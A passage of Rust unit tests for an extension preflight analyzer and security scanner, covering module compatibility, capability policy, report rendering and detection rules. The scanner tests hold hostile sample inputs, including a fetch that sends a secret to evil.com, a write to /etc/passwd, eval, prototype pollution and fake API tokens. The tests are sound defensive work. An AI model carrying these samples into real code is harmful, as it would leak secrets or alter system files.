2933            ModuleSupport::Missing,
2934        ] {
2935            let json = serde_json::to_string(&variant).unwrap();
2936            let back: ModuleSupport = serde_json::from_str(&json).unwrap();
2937            assert_eq!(variant, back);
2938        }
2939    }
2940
2941    // ---- FindingSeverity ordering ----
2942
2943    #[test]
2944    fn severity_ordering() {
2945        assert!(FindingSeverity::Info < FindingSeverity::Warning);
2946        assert!(FindingSeverity::Warning < FindingSeverity::Error);
2947    }
2948
2949    // ---- known_module_support ----
2950
2951    #[test]
2952    fn known_modules_p0_are_real() {
2953        assert_eq!(known_module_support("path"), Some(ModuleSupport::Real));
2954        assert_eq!(known_module_support("node:path"), Some(ModuleSupport::Real));
2955        assert_eq!(known_module_support("os"), Some(ModuleSupport::Real));
2956        assert_eq!(known_module_support("node:os"), Some(ModuleSupport::Real));
2957        assert_eq!(known_module_support("fs"), Some(ModuleSupport::Real));
2958        assert_eq!(known_module_support("node:fs"), Some(ModuleSupport::Real));
2959        assert_eq!(
2960            known_module_support("child_process"),
2961            Some(ModuleSupport::Real)
2962        );
2963    }
2964
2965    #[test]
2966    fn known_modules_fs_promises_partial() {
2967        assert_eq!(
2968            known_module_support("node:fs/promises"),
2969            Some(ModuleSupport::Partial)
2970        );
2971        assert_eq!(
2972            known_module_support("fs/promises"),
2973            Some(ModuleSupport::Partial)
2974        );
2975    }
2976
2977    #[test]
2978    fn known_modules_readline_partial() {
2979        assert_eq!(
2980            known_module_support("node:readline"),
2981            Some(ModuleSupport::Partial)
2982        );
2983        assert_eq!(
2984            known_module_support("readline/promises"),
2985            Some(ModuleSupport::Partial)
2986        );
2987    }
2988
2989    #[test]
2990    fn known_modules_test_partial() {
2991        assert_eq!(
2992            known_module_support("node:test"),
2993            Some(ModuleSupport::Partial)
2994        );
2995        assert_eq!(known_module_support("test"), Some(ModuleSupport::Partial));
2996    }
2997
2998    #[test]
2999    fn known_modules_glob_partial() {
3000        assert_eq!(known_module_support("glob"), Some(ModuleSupport::Partial));
3001    }
3002
3003    #[test]
3004    fn known_modules_error_throw() {
3005        assert_eq!(
3006            known_module_support("node:tls"),
3007            Some(ModuleSupport::ErrorThrow)
3008        );
3009        assert_eq!(known_module_support("dns"), Some(ModuleSupport::ErrorThrow));
3010    }
3011
3012    #[test]
3013    fn known_modules_net_stub() {
3014        assert_eq!(known_module_support("node:net"), Some(ModuleSupport::Stub));
3015    }
3016
3017    #[test]
3018    fn known_modules_stubs() {
3019        assert_eq!(known_module_support("zlib"), Some(ModuleSupport::Stub));
3020        assert_eq!(known_module_support("node:vm"), Some(ModuleSupport::Stub));
3021        assert_eq!(
3022            known_module_support("node:http2"),
3023            Some(ModuleSupport::Stub)
3024        );
3025        assert_eq!(known_module_support("chokidar"), Some(ModuleSupport::Stub));
3026    }
3027
3028    #[test]
3029    fn unknown_module_returns_none() {
3030        assert_eq!(known_module_support("my-custom-lib"), None);
3031        assert_eq!(known_module_support("./relative"), None);
3032    }
3033
3034    // ---- module_remediation ----
3035
3036    #[test]
3037    fn remediation_for_real_is_none() {
3038        assert!(module_remediation("path", ModuleSupport::Real).is_none());
3039    }
3040
3041    #[test]
3042    fn remediation_for_net_stub() {
3043        let r = module_remediation("node:net", ModuleSupport::Stub);
3044        assert!(r.is_some());
3045        let msg = r.unwrap();
3046        assert!(msg.contains("stubbed"));
3047        assert!(msg.contains("pi.http") || msg.contains("fetch()"));
3048    }
3049
3050    #[test]
3051    fn remediation_for_fs_promises_partial() {
3052        let r = module_remediation("fs/promises", ModuleSupport::Partial);
3053        assert!(r.is_some());
3054        assert!(r.unwrap().contains("synchronous"));
3055    }
3056
3057    #[test]
3058    fn remediation_for_readline_partial_mentions_ui() {
3059        let r = module_remediation("node:readline", ModuleSupport::Partial);
3060        assert!(r.is_some());
3061        assert!(r.unwrap().contains("pi.ui"));
3062    }
3063
3064    #[test]
3065    fn remediation_for_node_test_partial() {
3066        let r = module_remediation("node:test", ModuleSupport::Partial);
3067        assert!(r.is_some());
3068        assert!(r.unwrap().contains("node:test"));
3069    }
3070
3071    #[test]
3072    fn remediation_for_http2_stub() {
3073        let r = module_remediation("node:http2", ModuleSupport::Stub);
3074        assert!(r.is_some());
3075        assert!(r.unwrap().contains("http2"));
3076    }
3077
3078    // ---- extract helpers ----
3079
3080    #[test]
3081    fn extract_specifier_from_message_works() {
3082        let msg = "import of unsupported builtin `node:vm`";
3083        assert_eq!(
3084            extract_specifier_from_message(msg),
3085            Some("node:vm".to_string())
3086        );
3087    }
3088
3089    #[test]
3090    fn extract_specifier_from_message_none() {
3091        assert_eq!(extract_specifier_from_message("no backticks"), None);
3092    }
3093
3094    #[test]
3095    fn extract_import_specifiers_simple_import() {
3096        let specs = extract_import_specifiers_simple("import fs from 'node:fs';");
3097        assert_eq!(specs, vec!["node:fs"]);
3098    }
3099
3100    #[test]
3101    fn extract_import_specifiers_simple_require() {
3102        let specs = extract_import_specifiers_simple("const fs = require('fs');");
3103        assert_eq!(specs, vec!["fs"]);
3104    }
3105
3106    #[test]
3107    fn extract_import_specifiers_skips_relative() {
3108        let specs = extract_import_specifiers_simple("import foo from './foo';");
3109        assert!(specs.is_empty());
3110    }
3111
3112    #[test]
3113    fn extract_quoted_string_double() {
3114        assert_eq!(
3115            extract_quoted_string("\"hello\" rest"),
3116            Some("hello".to_string())
3117        );
3118    }
3119
3120    #[test]
3121    fn extract_quoted_string_single() {
3122        assert_eq!(
3123            extract_quoted_string("'hello' rest"),
3124            Some("hello".to_string())
3125        );
3126    }
3127
3128    #[test]
3129    fn extract_quoted_string_no_quote() {
3130        assert_eq!(extract_quoted_string("no quotes"), None);
3131    }
3132
3133    // ---- PreflightReport ----
3134
3135    #[test]
3136    fn empty_findings_gives_pass() {
3137        let report = PreflightReport::from_findings("test-ext".into(), vec![]);
3138        assert_eq!(report.verdict, PreflightVerdict::Pass);
3139        assert_eq!(report.summary.errors, 0);
3140        assert_eq!(report.summary.warnings, 0);
3141    }
3142
3143    #[test]
3144    fn warning_findings_gives_warn() {
3145        let findings = vec![PreflightFinding {
3146            severity: FindingSeverity::Warning,
3147            category: FindingCategory::ModuleCompat,
3148            message: "stub".into(),
3149            remediation: None,
3150            file: None,
3151            line: None,
3152        }];
3153        let report = PreflightReport::from_findings("test-ext".into(), findings);
3154        assert_eq!(report.verdict, PreflightVerdict::Warn);
3155        assert_eq!(report.summary.warnings, 1);
3156    }
3157
3158    #[test]
3159    fn error_findings_gives_fail() {
3160        let findings = vec![
3161            PreflightFinding {
3162                severity: FindingSeverity::Error,
3163                category: FindingCategory::CapabilityPolicy,
3164                message: "denied".into(),
3165                remediation: None,
3166                file: None,
3167                line: None,
3168            },
3169            PreflightFinding {
3170                severity: FindingSeverity::Warning,
3171                category: FindingCategory::ModuleCompat,
3172                message: "stub".into(),
3173                remediation: None,
3174                file: None,
3175                line: None,
3176            },
3177        ];
3178        let report = PreflightReport::from_findings("test-ext".into(), findings);
3179        assert_eq!(report.verdict, PreflightVerdict::Fail);
3180        assert_eq!(report.summary.errors, 1);
3181        assert_eq!(report.summary.warnings, 1);
3182    }
3183
3184    #[test]
3185    fn report_schema_version() {
3186        let report = PreflightReport::from_findings("x".into(), vec![]);
3187        assert_eq!(report.schema, PREFLIGHT_SCHEMA);
3188    }
3189
3190    #[test]
3191    fn security_scan_report_json_roundtrip() {
3192        let findings = vec![PreflightFinding {
3193            severity: FindingSeverity::Warning,
3194            category: FindingCategory::ModuleCompat,
3195            message: "test".into(),
3196            remediation: Some("fix it".into()),
3197            file: Some("index.ts".into()),
3198            line: Some(42),
3199        }];
3200        let report = PreflightReport::from_findings("ext-1".into(), findings);
3201        let json = report.to_json().unwrap();
3202        let back: PreflightReport = serde_json::from_str(&json).unwrap();
3203        assert_eq!(back.verdict, PreflightVerdict::Warn);
3204        assert_eq!(back.findings.len(), 1);
3205        assert_eq!(back.findings[0].line, Some(42));
3206    }
3207
3208    #[test]
3209    fn report_markdown_contains_verdict() {
3210        let report = PreflightReport::from_findings("my-ext".into(), vec![]);
3211        let md = report.render_markdown();
3212        assert!(md.contains("PASS"));
3213        assert!(md.contains("my-ext"));
3214    }
3215
3216    #[test]
3217    fn report_markdown_lists_findings() {
3218        let findings = vec![PreflightFinding {
3219            severity: FindingSeverity::Error,
3220            category: FindingCategory::ForbiddenPattern,
3221            message: "process.binding".into(),
3222            remediation: Some("remove it".into()),
3223            file: Some("main.ts".into()),
3224            line: Some(10),
3225        }];
3226        let report = PreflightReport::from_findings("ext".into(), findings);
3227        let md = report.render_markdown();
3228        assert!(md.contains("process.binding"));
3229        assert!(md.contains("main.ts:10"));
3230        assert!(md.contains("remove it"));
3231    }
3232
3233    // ---- PreflightAnalyzer.analyze_source ----
3234
3235    #[test]
3236    fn analyze_source_clean_extension() {
3237        let policy = ExtensionPolicy::default();
3238        let analyzer = PreflightAnalyzer::new(&policy, None);
3239        let source = r#"
3240import { Type } from "@sinclair/typebox";
3241import path from "node:path";
3242
3243export default function(pi) {
3244    pi.tool({ name: "hello", schema: Type.Object({}) });
3245}
3246"#;
3247        let report = analyzer.analyze_source("clean-ext", source);
3248        assert_eq!(report.verdict, PreflightVerdict::Pass);
3249    }
3250
3251    #[test]
3252    fn analyze_source_stubbed_net_warns() {
3253        let policy = ExtensionPolicy::default();
3254        let analyzer = PreflightAnalyzer::new(&policy, None);
3255        let source = r#"
3256import net from "node:net";
3257"#;
3258        let report = analyzer.analyze_source("net-ext", source);
3259        assert_eq!(report.verdict, PreflightVerdict::Warn);
3260        assert!(
3261            report
3262                .findings
3263                .iter()
3264                .any(|f| f.message.contains("node:net"))
3265        );
3266    }
3267
3268    #[test]
3269    fn analyze_source_denied_capability() {
3270        // Use safe policy — exec is denied
3271        let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3272        let analyzer = PreflightAnalyzer::new(&policy, None);
3273        let source = r#"
3274const { exec } = require("child_process");
3275export default function(pi) {
3276    pi.exec("ls");
3277}
3278"#;
3279        let report = analyzer.analyze_source("exec-ext", source);
3280        assert_eq!(report.verdict, PreflightVerdict::Fail);
3281        assert!(
3282            report
3283                .findings
3284                .iter()
3285                .any(|f| f.category == FindingCategory::CapabilityPolicy
3286                    && f.message.contains("exec"))
3287        );
3288    }
3289
3290    #[test]
3291    fn analyze_source_env_prompts_on_default_policy() {
3292        let policy = ExtensionPolicy::default();
3293        let analyzer = PreflightAnalyzer::new(&policy, None);
3294        let source = r"
3295const key = process.env.API_KEY;
3296";
3297        let report = analyzer.analyze_source("env-ext", source);
3298        // Default policy has env in deny_caps, so it should be denied
3299        assert!(report.findings.iter().any(|f| f.message.contains("env")));
3300    }
3301
3302    #[test]
3303    fn analyze_source_stub_module_warns() {
3304        let policy = ExtensionPolicy::default();
3305        let analyzer = PreflightAnalyzer::new(&policy, None);
3306        let source = r#"
3307import chokidar from "chokidar";
3308"#;
3309        let report = analyzer.analyze_source("watch-ext", source);
3310        assert_eq!(report.verdict, PreflightVerdict::Warn);
3311        assert!(
3312            report
3313                .findings
3314                .iter()
3315                .any(|f| f.message.contains("chokidar"))
3316        );
3317    }
3318
3319    #[test]
3320    fn analyze_source_per_extension_override_allows() {
3321        use crate::extensions::ExtensionOverride;
3322        use std::collections::HashMap;
3323
3324        // To test per-extension allow, we need a policy where exec is NOT
3325        // in global deny_caps (since global deny has higher precedence).
3326        // Mode = Strict means the fallback would deny, but per-extension
3327        // allow should override the fallback.
3328        let mut per_ext = HashMap::new();
3329        per_ext.insert(
3330            "my-ext".to_string(),
3331            ExtensionOverride {
3332                mode: None,
3333                allow: vec!["exec".to_string()],
3334                deny: vec![],
3335                quota: None,
3336            },
3337        );
3338
3339        let policy = ExtensionPolicy {
3340            mode: crate::extensions::ExtensionPolicyMode::Strict,
3341            max_memory_mb: 256,
3342            default_caps: vec!["read".to_string(), "write".to_string()],
3343            deny_caps: vec![], // No global deny — test per-extension allow
3344            per_extension: per_ext,
3345            ..Default::default()
3346        };
3347        let analyzer = PreflightAnalyzer::new(&policy, Some("my-ext"));
3348        let source = r#"
3349const { exec } = require("child_process");
3350pi.exec("ls");
3351"#;
3352        let report = analyzer.analyze_source("my-ext", source);
3353        // exec should be allowed via per-extension override
3354        let exec_denied = report.findings.iter().any(|f| {
3355            f.category == FindingCategory::CapabilityPolicy
3356                && f.message.contains("exec")
3357                && f.severity == FindingSeverity::Error
3358        });
3359        assert!(
3360            !exec_denied,
3361            "exec should be allowed via per-extension override"
3362        );
3363    }
3364
3365    #[test]
3366    fn analyze_missing_path_fails_closed() {
3367        let policy = ExtensionPolicy::default();
3368        let analyzer = PreflightAnalyzer::new(&policy, None);
3369        let temp_dir = tempfile::tempdir().expect("tempdir");
3370        let missing = temp_dir.path().join("missing-extension.js");
3371
3372        let report = analyzer.analyze(&missing);
3373
3374        assert_eq!(report.extension_id, "missing-extension.js");
3375        assert_eq!(report.verdict, PreflightVerdict::Fail);
3376        assert!(report.findings.iter().any(|finding| {
3377            finding.category == FindingCategory::AnalysisInput
3378                && finding.message.contains("does not exist")
3379        }));
3380    }
3381
3382    #[cfg(unix)]
3383    #[test]
3384    fn analyze_unreadable_nested_directory_fails_closed() {
3385        use std::os::unix::fs::PermissionsExt;
3386
3387        let policy = ExtensionPolicy::default();
3388        let analyzer = PreflightAnalyzer::new(&policy, None);
3389        let temp_dir = tempfile::tempdir().expect("tempdir");
3390        let entry = temp_dir.path().join("clean.js");
3391        std::fs::write(&entry, "export default function () {};\n").expect("write clean entry");
3392
3393        let blocked_dir = temp_dir.path().join("blocked");
3394        std::fs::create_dir_all(&blocked_dir).expect("mkdir blocked dir");
3395        std::fs::write(blocked_dir.join("hidden.js"), "import fs from 'fs';\n")
3396            .expect("write blocked entry");
3397        std::fs::set_permissions(&blocked_dir, PermissionsExt::from_mode(0o000))
3398            .expect("chmod blocked dir");
3399
3400        let report = analyzer.analyze(temp_dir.path());
3401
3402        std::fs::set_permissions(&blocked_dir, PermissionsExt::from_mode(0o755))
3403            .expect("restore blocked dir perms");
3404
3405        assert_eq!(
3406            report.extension_id,
3407            temp_dir
3408                .path()
3409                .file_name()
3410                .and_then(|name| name.to_str())
3411                .expect("temp dir file name")
3412        );
3413        assert_eq!(report.verdict, PreflightVerdict::Fail);
3414        assert!(report.findings.iter().any(|finding| {
3415            finding.category == FindingCategory::AnalysisInput
3416                && finding.message.contains("Failed to scan extension source")
3417                && finding.message.contains(&blocked_dir.display().to_string())
3418        }));
3419    }
3420
3421    #[test]
3422    fn analyze_uses_path_filename_when_extension_id_is_not_supplied() {
3423        let policy = ExtensionPolicy::default();
3424        let analyzer = PreflightAnalyzer::new(&policy, None);
3425        let temp_dir = tempfile::tempdir().expect("tempdir");
3426        let entry = temp_dir.path().join("sample-ext.js");
3427        std::fs::write(&entry, "export default function () {};\n").expect("write entry");
3428
3429        let report = analyzer.analyze(&entry);
3430
3431        assert_eq!(report.extension_id, "sample-ext.js");
3432    }
3433
3434    #[test]
3435    fn capability_findings_without_evidence_omit_bogus_location_fields() {
3436        let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3437        let analyzer = PreflightAnalyzer::new(&policy, None);
3438        let ledger = crate::extensions::CompatLedger {
3439            schema: crate::extensions::COMPAT_LEDGER_SCHEMA_VERSION.to_string(),
3440            capabilities: vec![crate::extensions::CompatCapabilityEvidence {
3441                capability: "exec".to_string(),
3442                reason: "test".to_string(),
3443                evidence: Vec::new(),
3444                remediation: None,
3445            }],
3446            rewrites: Vec::new(),
3447            forbidden: Vec::new(),
3448            flagged: Vec::new(),
3449        };
3450        let mut findings = Vec::new();
3451
3452        analyzer.check_capability_findings(&ledger, &mut findings);
3453
3454        let exec_finding = findings
3455            .into_iter()
3456            .find(|finding| finding.message.contains("exec"))
3457            .expect("exec finding");
3458        assert_eq!(exec_finding.file, None);
3459        assert_eq!(exec_finding.line, None);
3460    }
3461
3462    // ---- Verdict display ----
3463
3464    #[test]
3465    fn verdict_display() {
3466        assert_eq!(format!("{}", PreflightVerdict::Pass), "PASS");
3467        assert_eq!(format!("{}", PreflightVerdict::Warn), "WARN");
3468        assert_eq!(format!("{}", PreflightVerdict::Fail), "FAIL");
3469    }
3470
3471    #[test]
3472    fn verdict_serde_roundtrip() {
3473        for v in [
3474            PreflightVerdict::Pass,
3475            PreflightVerdict::Warn,
3476            PreflightVerdict::Fail,
3477        ] {
3478            let json = serde_json::to_string(&v).unwrap();
3479            let back: PreflightVerdict = serde_json::from_str(&json).unwrap();
3480            assert_eq!(v, back);
3481        }
3482    }
3483
3484    // ---- Finding categories ----
3485
3486    #[test]
3487    fn finding_category_display() {
3488        assert_eq!(
3489            format!("{}", FindingCategory::AnalysisInput),
3490            "analysis_input"
3491        );
3492        assert_eq!(
3493            format!("{}", FindingCategory::ModuleCompat),
3494            "module_compat"
3495        );
3496        assert_eq!(
3497            format!("{}", FindingCategory::CapabilityPolicy),
3498            "capability_policy"
3499        );
3500        assert_eq!(
3501            format!("{}", FindingCategory::ForbiddenPattern),
3502            "forbidden_pattern"
3503        );
3504        assert_eq!(
3505            format!("{}", FindingCategory::FlaggedPattern),
3506            "flagged_pattern"
3507        );
3508    }
3509
3510    // ---- ConfidenceScore ----
3511
3512    #[test]
3513    fn confidence_score_no_issues() {
3514        let score = ConfidenceScore::from_counts(0, 0);
3515        assert_eq!(score.value(), 100);
3516        assert_eq!(score.label(), "High");
3517    }
3518
3519    #[test]
3520    fn confidence_score_one_warning() {
3521        let score = ConfidenceScore::from_counts(0, 1);
3522        assert_eq!(score.value(), 90);
3523        assert_eq!(score.label(), "High");
3524    }
3525
3526    #[test]
3527    fn confidence_score_two_warnings() {
3528        let score = ConfidenceScore::from_counts(0, 2);
3529        assert_eq!(score.value(), 80);
3530        assert_eq!(score.label(), "Medium");
3531    }
3532
3533    #[test]
3534    fn confidence_score_one_error() {
3535        let score = ConfidenceScore::from_counts(1, 0);
3536        assert_eq!(score.value(), 75);
3537        assert_eq!(score.label(), "Medium");
3538    }
3539
3540    #[test]
3541    fn confidence_score_many_errors_floors_at_zero() {
3542        let score = ConfidenceScore::from_counts(5, 5);
3543        assert_eq!(score.value(), 0);
3544        assert_eq!(score.label(), "Very Low");
3545    }
3546
3547    #[test]
3548    fn confidence_score_display() {
3549        let score = ConfidenceScore::from_counts(0, 0);
3550        assert_eq!(format!("{score}"), "100% (High)");
3551        let score = ConfidenceScore::from_counts(1, 2);
3552        assert_eq!(format!("{score}"), "55% (Low)");
3553    }
3554
3555    #[test]
3556    fn confidence_score_serde_roundtrip() {
3557        let score = ConfidenceScore::from_counts(1, 1);
3558        let json = serde_json::to_string(&score).unwrap();
3559        let back: ConfidenceScore = serde_json::from_str(&json).unwrap();
3560        assert_eq!(score, back);
3561    }
3562
3563    // ---- risk_banner_text ----
3564
3565    #[test]
3566    fn risk_banner_pass() {
3567        let report = PreflightReport::from_findings("ext".into(), vec![]);
3568        assert!(report.risk_banner.contains("compatible"));
3569        assert!(report.risk_banner.contains("100%"));
3570    }
3571
3572    #[test]
3573    fn risk_banner_warn() {
3574        let findings = vec![PreflightFinding {
3575            severity: FindingSeverity::Warning,
3576            category: FindingCategory::ModuleCompat,
3577            message: "stub".into(),
3578            remediation: None,
3579            file: None,
3580            line: None,
3581        }];
3582        let report = PreflightReport::from_findings("ext".into(), findings);
3583        assert!(report.risk_banner.contains("may have issues"));
3584        assert!(report.risk_banner.contains("1 warning"));
3585    }
3586
3587    #[test]
3588    fn risk_banner_fail() {
3589        let findings = vec![PreflightFinding {
3590            severity: FindingSeverity::Error,
3591            category: FindingCategory::ForbiddenPattern,
3592            message: "bad".into(),
3593            remediation: None,
3594            file: None,
3595            line: None,
3596        }];
3597        let report = PreflightReport::from_findings("ext".into(), findings);
3598        assert!(report.risk_banner.contains("incompatible"));
3599        assert!(report.risk_banner.contains("1 error"));
3600    }
3601
3602    // ---- render_markdown includes confidence and banner ----
3603
3604    #[test]
3605    fn render_markdown_includes_confidence() {
3606        let report = PreflightReport::from_findings("ext".into(), vec![]);
3607        let md = report.render_markdown();
3608        assert!(md.contains("Confidence"));
3609        assert!(md.contains("100%"));
3610    }
3611
3612    #[test]
3613    fn render_markdown_includes_risk_banner() {
3614        let findings = vec![PreflightFinding {
3615            severity: FindingSeverity::Warning,
3616            category: FindingCategory::ModuleCompat,
3617            message: "stub".into(),
3618            remediation: None,
3619            file: None,
3620            line: None,
3621        }];
3622        let report = PreflightReport::from_findings("ext".into(), findings);
3623        let md = report.render_markdown();
3624        assert!(md.contains("> "));
3625        assert!(md.contains("may have issues"));
3626    }
3627
3628    // ---- report confidence in JSON ----
3629
3630    #[test]
3631    fn report_json_includes_confidence() {
3632        let report = PreflightReport::from_findings("ext".into(), vec![]);
3633        let json = report.to_json().unwrap();
3634        assert!(json.contains("\"confidence\""));
3635        assert!(json.contains("\"risk_banner\""));
3636    }
3637
3638    // ---- capability_remediation ----
3639
3640    #[test]
3641    fn capability_remediation_exec() {
3642        let r = capability_remediation("exec");
3643        assert!(r.contains("allow-dangerous"));
3644    }
3645
3646    #[test]
3647    fn capability_remediation_env() {
3648        let r = capability_remediation("env");
3649        assert!(r.contains("per-extension"));
3650    }
3651
3652    #[test]
3653    fn capability_remediation_other() {
3654        let r = capability_remediation("http");
3655        assert!(r.contains("default_caps"));
3656    }
3657
3658    // ================================================================
3659    // Security scanner tests (bd-21vng)
3660    // ================================================================
3661
3662    fn scan(source: &str) -> SecurityScanReport {
3663        SecurityScanner::scan_source("test-ext", source)
3664    }
3665
3666    fn has_rule(report: &SecurityScanReport, rule: SecurityRuleId) -> bool {
3667        report.findings.iter().any(|f| f.rule_id == rule)
3668    }
3669
3670    // ---- RiskTier ----
3671
3672    #[test]
3673    fn risk_tier_ordering() {
3674        assert!(RiskTier::Critical < RiskTier::High);
3675        assert!(RiskTier::High < RiskTier::Medium);
3676        assert!(RiskTier::Medium < RiskTier::Low);
3677    }
3678
3679    #[test]
3680    fn risk_tier_serde_roundtrip() {
3681        for tier in [
3682            RiskTier::Critical,
3683            RiskTier::High,
3684            RiskTier::Medium,
3685            RiskTier::Low,
3686        ] {
3687            let json = serde_json::to_string(&tier).unwrap();
3688            let back: RiskTier = serde_json::from_str(&json).unwrap();
3689            assert_eq!(tier, back);
3690        }
3691    }
3692
3693    #[test]
3694    fn risk_tier_display() {
3695        assert_eq!(format!("{}", RiskTier::Critical), "critical");
3696        assert_eq!(format!("{}", RiskTier::Low), "low");
3697    }
3698
3699    // ---- SecurityRuleId ----
3700
3701    #[test]
3702    fn rule_id_serde_roundtrip() {
3703        let rule = SecurityRuleId::EvalUsage;
3704        let json = serde_json::to_string(&rule).unwrap();
3705        assert_eq!(json, "\"SEC-EVAL-001\"");
3706        let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3707        assert_eq!(rule, back);
3708
3709        let json = serde_json::to_string(&SecurityRuleId::ScanInputFailure).unwrap();
3710        assert_eq!(json, "\"SEC-SCAN-001\"");
3711        let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3712        assert_eq!(back, SecurityRuleId::ScanInputFailure);
3713    }
3714
3715    #[test]
3716    fn rule_id_default_tier_consistency() {
3717        // All critical rules should have Critical tier.
3718        assert_eq!(SecurityRuleId::EvalUsage.default_tier(), RiskTier::Critical);
3719        assert_eq!(
3720            SecurityRuleId::ProcessBinding.default_tier(),
3721            RiskTier::Critical
3722        );
3723        // High.
3724        assert_eq!(
3725            SecurityRuleId::HardcodedSecret.default_tier(),
3726            RiskTier::High
3727        );
3728        // Medium.
3729        assert_eq!(
3730            SecurityRuleId::ProcessEnvAccess.default_tier(),
3731            RiskTier::Medium
3732        );
3733        // Scan input failures should force manual review.
3734        assert_eq!(
3735            SecurityRuleId::ScanInputFailure.default_tier(),
3736            RiskTier::High
3737        );
3738        // Low.
3739        assert_eq!(
3740            SecurityRuleId::DebuggerStatement.default_tier(),
3741            RiskTier::Low
3742        );
3743    }
3744
3745    // ---- Clean extension ----
3746
3747    #[test]
3748    fn clean_extension_has_no_findings() {
3749        let report = scan(
3750            r#"
3751import path from "node:path";
3752const p = path.join("a", "b");
3753export default function init(pi) {
3754    pi.tool({ name: "hello", schema: {} });
3755}
3756"#,
3757        );
3758        assert!(report.findings.is_empty());
3759        assert_eq!(report.overall_tier, RiskTier::Low);
3760        assert!(report.verdict.starts_with("CLEAN"));
3761        assert!(!report.should_block());
3762        assert!(!report.needs_review());
3763    }
3764
3765    #[test]
3766    fn scan_path_missing_path_fails_closed() {
3767        let temp_dir = tempfile::tempdir().unwrap();
3768        let missing = temp_dir.path().join("missing-ext.js");
3769        let missing_display = missing.display().to_string();
3770
3771        let report = SecurityScanner::scan_path("missing-ext", &missing, &missing);
3772
3773        assert_eq!(report.overall_tier, RiskTier::High);
3774        assert!(report.needs_review());
3775        let finding = report
3776            .findings
3777            .iter()
3778            .find(|finding| finding.rule_id == SecurityRuleId::ScanInputFailure)
3779            .expect("scan input failure finding");
3780        assert_eq!(finding.file.as_deref(), Some(missing_display.as_str()));
3781        assert!(finding.rationale.contains("does not exist"));
3782    }
3783
3784    #[test]
3785    fn scan_path_single_file_preserves_filename_location() {
3786        let temp_dir = tempfile::tempdir().unwrap();
3787        let entry = temp_dir.path().join("single-file.js");
3788        std::fs::write(&entry, "eval('bad');\n").unwrap();
3789
3790        let report = SecurityScanner::scan_path("single-file", &entry, &entry);
3791
3792        let finding = report
3793            .findings
3794            .iter()
3795            .find(|finding| finding.rule_id == SecurityRuleId::EvalUsage)
3796            .expect("eval finding");
3797        assert_eq!(finding.file.as_deref(), Some("single-file.js"));
3798    }
3799
3800    // ---- Critical tier detections ----
3801
3802    #[test]
3803    fn detect_eval_usage() {
3804        let report = scan("const x = eval('1+1');");
3805        assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3806        assert_eq!(report.overall_tier, RiskTier::Critical);
3807        assert!(report.should_block());
3808    }
3809
3810    #[test]
3811    fn eval_in_identifier_not_flagged() {
3812        let report = scan("const retrieval = getData();");
3813        assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3814    }
3815
3816    #[test]
3817    fn detect_new_function() {
3818        let report = scan("const fn = new Function('a', 'return a + 1');");
3819        assert!(has_rule(&report, SecurityRuleId::NewFunctionUsage));
3820        assert_eq!(report.overall_tier, RiskTier::Critical);
3821    }
3822
3823    #[test]
3824    fn new_function_empty_not_flagged() {
3825        // new Function() with no args is less dangerous — still flagged
3826        // but that's fine, the rule covers the general case.
3827        let report = scan("const fn = new Function();");
3828        assert!(!has_rule(&report, SecurityRuleId::NewFunctionUsage));
3829    }
3830
3831    #[test]
3832    fn detect_process_binding() {
3833        let report = scan("process.binding('fs');");
3834        assert!(has_rule(&report, SecurityRuleId::ProcessBinding));
3835        assert_eq!(report.overall_tier, RiskTier::Critical);
3836    }
3837
3838    #[test]
3839    fn detect_process_dlopen() {
3840        let report = scan("process.dlopen(module, '/bad/addon.node');");
3841        assert!(has_rule(&report, SecurityRuleId::ProcessDlopen));
3842    }
3843
3844    #[test]
3845    fn detect_proto_pollution() {
3846        let report = scan("obj.__proto__ = malicious;");
3847        assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3848        assert_eq!(report.overall_tier, RiskTier::Critical);
3849    }
3850
3851    #[test]
3852    fn detect_set_prototype_of() {
3853        let report = scan("Object.setPrototypeOf(target, evil);");
3854        assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3855    }
3856
3857    #[test]
3858    fn detect_require_cache_manipulation() {
3859        let report = scan("delete require.cache[require.resolve('./module')];");
3860        assert!(has_rule(&report, SecurityRuleId::RequireCacheManip));
3861        assert_eq!(report.overall_tier, RiskTier::Critical);
3862    }
3863
3864    // ---- High tier detections ----
3865
3866    #[test]
3867    fn detect_hardcoded_secret() {
3868        let report = scan(r#"const api_key  = "sk-ant-api03-abc123";"#);
3869        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3870        assert!(report.needs_review());
3871    }
3872
3873    #[test]
3874    fn detect_hardcoded_password() {
3875        let report = scan(r#"const password  = "s3cretP@ss";"#);
3876        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3877    }
3878
3879    #[test]
3880    fn env_lookup_not_flagged_as_secret() {
3881        let report = scan("const key = process.env.API_KEY;");
3882        // Should flag ProcessEnvAccess but NOT HardcodedSecret.
3883        assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3884        assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3885    }
3886
3887    #[test]
3888    fn empty_secret_not_flagged() {
3889        let report = scan(r#"const api_key  = "";"#);
3890        assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3891    }
3892
3893    #[test]
3894    fn detect_token_prefix() {
3895        let report = scan(r#"const token  = "ghp_abc123def456";"#);
3896        assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3897    }
3898
3899    #[test]
3900    fn detect_dynamic_import() {
3901        let report = scan("const mod = await import(userInput);");
3902        assert!(has_rule(&report, SecurityRuleId::DynamicImport));
3903    }
3904
3905    #[test]
3906    fn static_import_not_flagged_as_dynamic() {
3907        let report = scan("import fs from 'node:fs';");
3908        assert!(!has_rule(&report, SecurityRuleId::DynamicImport));
3909    }
3910
3911    #[test]
3912    fn detect_define_property_on_global() {
3913        let report = scan("Object.defineProperty(globalThis, 'fetch', { value: evilFetch });");
3914        assert!(has_rule(&report, SecurityRuleId::DefinePropertyAbuse));
3915    }
3916
3917    #[test]
3918    fn detect_network_exfiltration() {
3919        let report = scan("fetch(`https://evil.com/?data=${secret}`);");
3920        assert!(has_rule(&report, SecurityRuleId::NetworkExfiltration));
3921    }
3922
3923    #[test]
3924    fn detect_sensitive_path_write() {
3925        let report = scan("fs.writeFileSync('/etc/passwd', payload);");
